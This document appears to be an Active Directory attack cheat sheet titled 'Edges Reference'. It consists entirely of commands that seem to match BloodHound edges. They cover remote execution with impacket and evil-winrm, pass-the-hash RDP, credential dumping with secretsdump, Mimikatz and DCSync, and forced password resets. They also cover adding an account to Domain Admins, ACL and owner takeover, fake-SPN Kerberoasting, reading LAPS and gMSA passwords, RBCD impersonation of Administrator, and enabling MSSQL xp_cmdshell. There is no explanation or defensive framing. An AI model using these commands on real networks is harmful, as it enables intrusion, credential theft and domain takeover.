Edges Reference

impacket-psexec 'DOMAIN/USER:Password@TARGET'

impacket-wmiexec 'DOMAIN/USER:Password@TARGET'

evil-winrm -i TARGET -u USER -p 'Password'

xfreerdp /u:USER /p:'Password' /d:DOMAIN /v:TARGET

xfreerdp /u:USER /pth:NTHASH /d:DOMAIN /v:TARGET

impacket-secretsdump 'DOMAIN/USER:Password@TARGET'

Invoke-Mimikatz -ComputerName TARGET

MATCH (u:User {name: "[email protected]"})-[:MemberOf*1..]->(g:Group) RETURN g.name

Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)
Add-DomainGroupMember -Identity 'Domain Admins' -Members TARGET

Set-DomainObject -Identity TARGET -Set @{serviceprincipalname='fake/spn'}

Set-DomainObjectOwner -Identity TARGET -OwnerIdentity ATTACKER
Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity ATTACKER -Rights All

Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity ATTACKER -Rights All

rpcclient -U "DOMAIN/USER%Password" DC01 -c "setuserinfo2 TARGET 23 'NewP@ss123'"

Add-DomainGroupMember -Identity 'TARGET_GROUP' -Members ATTACKER

Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)

Get-DomainComputer TARGET -Properties ms-Mcs-AdmPwd, name

impacket-GetLAPSPassword 'DOMAIN/USER:Password'@DC01 -dc-ip DC01

$gmsa = Get-ADServiceAccount -Identity GMSA_ACCOUNT -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp

impacket-secretsdump 'DOMAIN/USER:Password@DC01' -just-dc-ntlm

impacket-getST -spn 'cifs/TARGET.domain.local' -impersonate Administrator 'DOMAIN/SVC:Password'

impacket-rbcd -delegate-from 'ATTACKER_COMPUTER$' -delegate-to 'TARGET_COMPUTER$' -action write -dc-ip DC01 'DOMAIN/USER:Password'

impacket-mssqlclient 'DOMAIN/USER:Password@TARGET' -windows-auth

impacket-mssqlclient 'DOMAIN/USER:Password@TARGET' -windows-auth -port 1433

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Get-DomainUser -LDAPFilter '(sIDHistory=*)' -Properties samaccountname, sIDHistory